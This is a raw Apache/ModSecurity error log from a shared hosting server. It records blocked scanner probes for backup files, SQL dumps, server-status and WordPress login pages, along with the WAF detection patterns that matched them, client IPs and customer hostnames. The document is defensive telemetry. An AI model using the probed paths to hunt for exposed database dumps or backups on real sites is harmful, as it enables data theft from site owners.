https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvZGV2aWNlL2V2ZW50Mi9zdWJzeXN0ZW0vZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:19:33.033999 2026] [security2:error] [pid 648189:tid 648350] [remote 5.255.231.177:43968] ModSecurity: Access denied with code 429 (phase 2). Pattern match "Mozilla\\\\/5\\\\.0 \\\\(compatible; YandexBot\\\\/3\\\\.0; \\\\+http:\\\\/\\\\/yandex\\\\.com\\\\/bots\\\\)" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/othercrawler.conf"] [line "3"] [id "901008"] [msg "Yandex Crawler 429 ADDED BY MONITORING DO NOT WHITELIST"] [hostname "salserodeacero.net"] [uri "/tag/comiccon/"] [unique_id "ai3zlVWSojQL4F7upKB7BgAAsH8"] [Sat Jun 13 18:19:33.068130 2026] [access_compat:error] [pid 646876:tid 646903] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9zdWJzeXN0ZW0vaW5wdXQxL3Bvd2Vy [Sat Jun 13 18:19:33.068592 2026] [access_compat:error] [pid 646876:tid 646903] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9zdWJzeXN0ZW0vaW5wdXQxL3Bvd2Vy [Sat Jun 13 18:19:33.074132 2026] [access_compat:error] [pid 648189:tid 648291] [remote 57.141.14.2:46503] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:33.074544 2026] [access_compat:error] [pid 648189:tid 648291] [remote 57.141.14.2:46503] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:33.109846 2026] [security2:error] [pid 648189:tid 648345] [remote 17.246.19.96:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 96.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zlVWSojQL4F7upKB7CgAA3no"] [Sat Jun 13 18:19:33.136452 2026] [security2:error] [pid 648189:tid 648274] [remote 17.241.227.80:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 80.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zlVWSojQL4F7upKB7DAAAoDQ"] [Sat Jun 13 18:19:33.169803 2026] [access_compat:error] [pid 648189:tid 648333] [remote 57.141.14.113:23624] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:33.170086 2026] [access_compat:error] [pid 648189:tid 648333] [remote 57.141.14.113:23624] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:33.305268 2026] [security2:error] [pid 648189:tid 648360] [client 185.177.72.9:49248] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/configuration.php.bak"] [unique_id "ai3zlVWSojQL4F7upKB7FgAAAIw"] [Sat Jun 13 18:19:33.382837 2026] [access_compat:error] [pid 648189:tid 648314] [remote 57.141.14.49:37101] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:33.383121 2026] [access_compat:error] [pid 648189:tid 648314] [remote 57.141.14.49:37101] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:33.510308 2026] [security2:error] [pid 648189:tid 648267] [remote 17.241.75.167:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 167.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zlVWSojQL4F7upKB7JAAAhS0"] [Sat Jun 13 18:19:33.572667 2026] [security2:error] [pid 648189:tid 648414] [client 185.177.72.9:47074] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/app/etc/local.xml.bak"] [unique_id "ai3zlVWSojQL4F7upKB7JwAAAME"] [Sat Jun 13 18:19:33.627115 2026] [access_compat:error] [pid 646876:tid 646883] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL2V2ZW50NS9zdWJzeXN0ZW0vaW5wdXQ3L3Bvd2Vy [Sat Jun 13 18:19:33.627398 2026] [access_compat:error] [pid 646876:tid 646883] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL2V2ZW50NS9zdWJzeXN0ZW0vaW5wdXQ3L3Bvd2Vy [Sat Jun 13 18:19:33.706154 2026] [security2:error] [pid 648189:tid 648354] [client 185.177.72.9:47074] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/database.sql"] [unique_id "ai3zlVWSojQL4F7upKB7LQAAAIY"] [Sat Jun 13 18:19:33.773968 2026] [security2:error] [pid 648189:tid 648240] [remote 17.22.237.37:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 37.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zlVWSojQL4F7upKB7LwAArxM"] [Sat Jun 13 18:19:33.836659 2026] [security2:error] [pid 648189:tid 648223] [remote 17.246.19.129:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 129.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zlVWSojQL4F7upKB7MQAAmwM"] [Sat Jun 13 18:19:33.840057 2026] [security2:error] [pid 648189:tid 648471] [client 185.177.72.9:47074] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/mysql.sql"] [unique_id "ai3zlVWSojQL4F7upKB7MgAAAPU"] [Sat Jun 13 18:19:33.869066 2026] [access_compat:error] [pid 648189:tid 648245] [remote 57.141.14.105:55448] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:33.869326 2026] [access_compat:error] [pid 648189:tid 648245] [remote 57.141.14.105:55448] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:33.948735 2026] [security2:error] [pid 648189:tid 648411] [client 143.244.57.82:47957] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "marcelafernandes.magia.vegas"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "ai3zlVWSojQL4F7upKB7OAAAAL4"] [Sat Jun 13 18:19:33.978229 2026] [security2:error] [pid 648189:tid 648465] [client 185.177.72.9:47074] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/backup.sql"] [unique_id "ai3zlVWSojQL4F7upKB7OgAAAO8"] [Sat Jun 13 18:19:34.069316 2026] [access_compat:error] [pid 648189:tid 648255] [remote 216.73.216.223:23206] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:34.069587 2026] [access_compat:error] [pid 648189:tid 648255] [remote 216.73.216.223:23206] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:34.111877 2026] [security2:error] [pid 648189:tid 648381] [client 185.177.72.9:47074] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/site.sql"] [unique_id "ai3zllWSojQL4F7upKB7PgAAAKE"] [Sat Jun 13 18:19:34.164463 2026] [access_compat:error] [pid 646876:tid 646888] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9ldmVudDUvcG93ZXI= [Sat Jun 13 18:19:34.164742 2026] [access_compat:error] [pid 646876:tid 646888] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9ldmVudDUvcG93ZXI= [Sat Jun 13 18:19:34.235588 2026] [access_compat:error] [pid 648189:tid 648325] [remote 57.141.14.45:51104] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:34.236047 2026] [access_compat:error] [pid 648189:tid 648325] [remote 57.141.14.45:51104] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:34.246140 2026] [security2:error] [pid 648189:tid 648389] [client 185.177.72.9:47074] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/wordpress.sql"] [unique_id "ai3zllWSojQL4F7upKB7QgAAAKk"] [Sat Jun 13 18:19:34.345946 2026] [security2:error] [pid 646876:tid 646972] [remote 46.227.202.159:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3zltyTkdrNlD40tSG6bAAAEV0"], referer: https://www.torquayfans.com [Sat Jun 13 18:19:34.345973 2026] [security2:error] [pid 646876:tid 646972] [remote 46.227.202.159:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3zltyTkdrNlD40tSG6bAAAEV0"], referer: https://www.torquayfans.com [Sat Jun 13 18:19:34.379372 2026] [security2:error] [pid 648189:tid 648423] [client 185.177.72.9:47074] ModSecurity: Access denied with code 406 (phase 2). Match of "ipMatch 127.0.0.1,::1" against "REMOTE_ADDR" required. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "724"] [id "340114"] [rev "2"] [msg "Atomicorp.com WAF Rules: Apache admin service access attempt"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/server-status/"] [unique_id "ai3zllWSojQL4F7upKB7SgAAAMo"] [Sat Jun 13 18:19:34.386088 2026] [security2:error] [pid 648189:tid 648295] [remote 67.20.76.56:50516] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 56.76.20.67.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "ameritekwater.com"] [uri "/wp-login.php"] [unique_id "ai3zllWSojQL4F7upKB7SQAAl0k"] [Sat Jun 13 18:19:34.511353 2026] [security2:error] [pid 648189:tid 648467] [client 185.177.72.9:47074] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/server-info.php"] [unique_id "ai3zllWSojQL4F7upKB7TgAAAPE"] [Sat Jun 13 18:19:34.516958 2026] [security2:error] [pid 646876:tid 646906] [remote 17.241.75.128:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 128.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zltyTkdrNlD40tSG6bQAAaRs"] [Sat Jun 13 18:19:34.554212 2026] [security2:error] [pid 646876:tid 646889] [remote 103.143.207.18:59940] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 18.207.143.103.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "gycblinds.com"] [uri "/wp-login.php"] [unique_id "ai3zltyTkdrNlD40tSG6bgAAeQo"] [Sat Jun 13 18:19:34.582432 2026] [security2:error] [pid 648189:tid 648356] [client 143.244.57.82:55506] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 82.57.244.143.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "marcelafernandes.magia.vegas"] [uri "/xmlrpc.php"] [unique_id "ai3zllWSojQL4F7upKB7UwAAAIg"] [Sat Jun 13 18:19:34.673066 2026] [access_compat:error] [pid 646876:tid 646882] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDUvZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:19:34.673343 2026] [access_compat:error] [pid 646876:tid 646882] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDUvZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:19:34.778001 2026] [security2:error] [pid 648189:tid 648377] [client 185.177.72.9:47080] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/app_dev.php/_profiler/open"] [unique_id "ai3zllWSojQL4F7upKB7WgAAAJ0"] [Sat Jun 13 18:19:34.811215 2026] [security2:error] [pid 646876:tid 646925] [remote 124.156.212.23:53158] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 23.212.156.124.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "hannahjune.com"] [uri "/wp-login.php"] [unique_id "ai3zltyTkdrNlD40tSG6cwAAay4"] [Sat Jun 13 18:19:34.830563 2026] [access_compat:error] [pid 648189:tid 648271] [remote 57.141.14.47:58036] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:34.830877 2026] [access_compat:error] [pid 648189:tid 648271] [remote 57.141.14.47:58036] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:34.845322 2026] [security2:error] [pid 646876:tid 647074] [client 45.86.200.17:54677] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 17.200.86.45.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "canappcocdjuarez.com"] [uri "/zwso.php"] [unique_id "ai3zltyTkdrNlD40tSG6dAAAAEI"] [Sat Jun 13 18:19:34.904256 2026] [access_compat:error] [pid 646876:tid 646993] [remote 57.141.14.8:48395] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:34.905256 2026] [access_compat:error] [pid 646876:tid 646993] [remote 57.141.14.8:48395] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:35.097836 2026] [access_compat:error] [pid 646876:tid 646879] [remote 57.141.14.90:53962] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:35.098117 2026] [access_compat:error] [pid 646876:tid 646879] [remote 57.141.14.90:53962] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:35.126885 2026] [access_compat:error] [pid 646876:tid 646997] [remote 57.141.14.32:42389] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:35.127250 2026] [access_compat:error] [pid 646876:tid 646997] [remote 57.141.14.32:42389] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:35.138828 2026] [security2:error] [pid 646876:tid 646930] [remote 17.246.23.122:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 122.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zl9yTkdrNlD40tSG6ggAAdjM"] [Sat Jun 13 18:19:35.193036 2026] [access_compat:error] [pid 646876:tid 646892] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 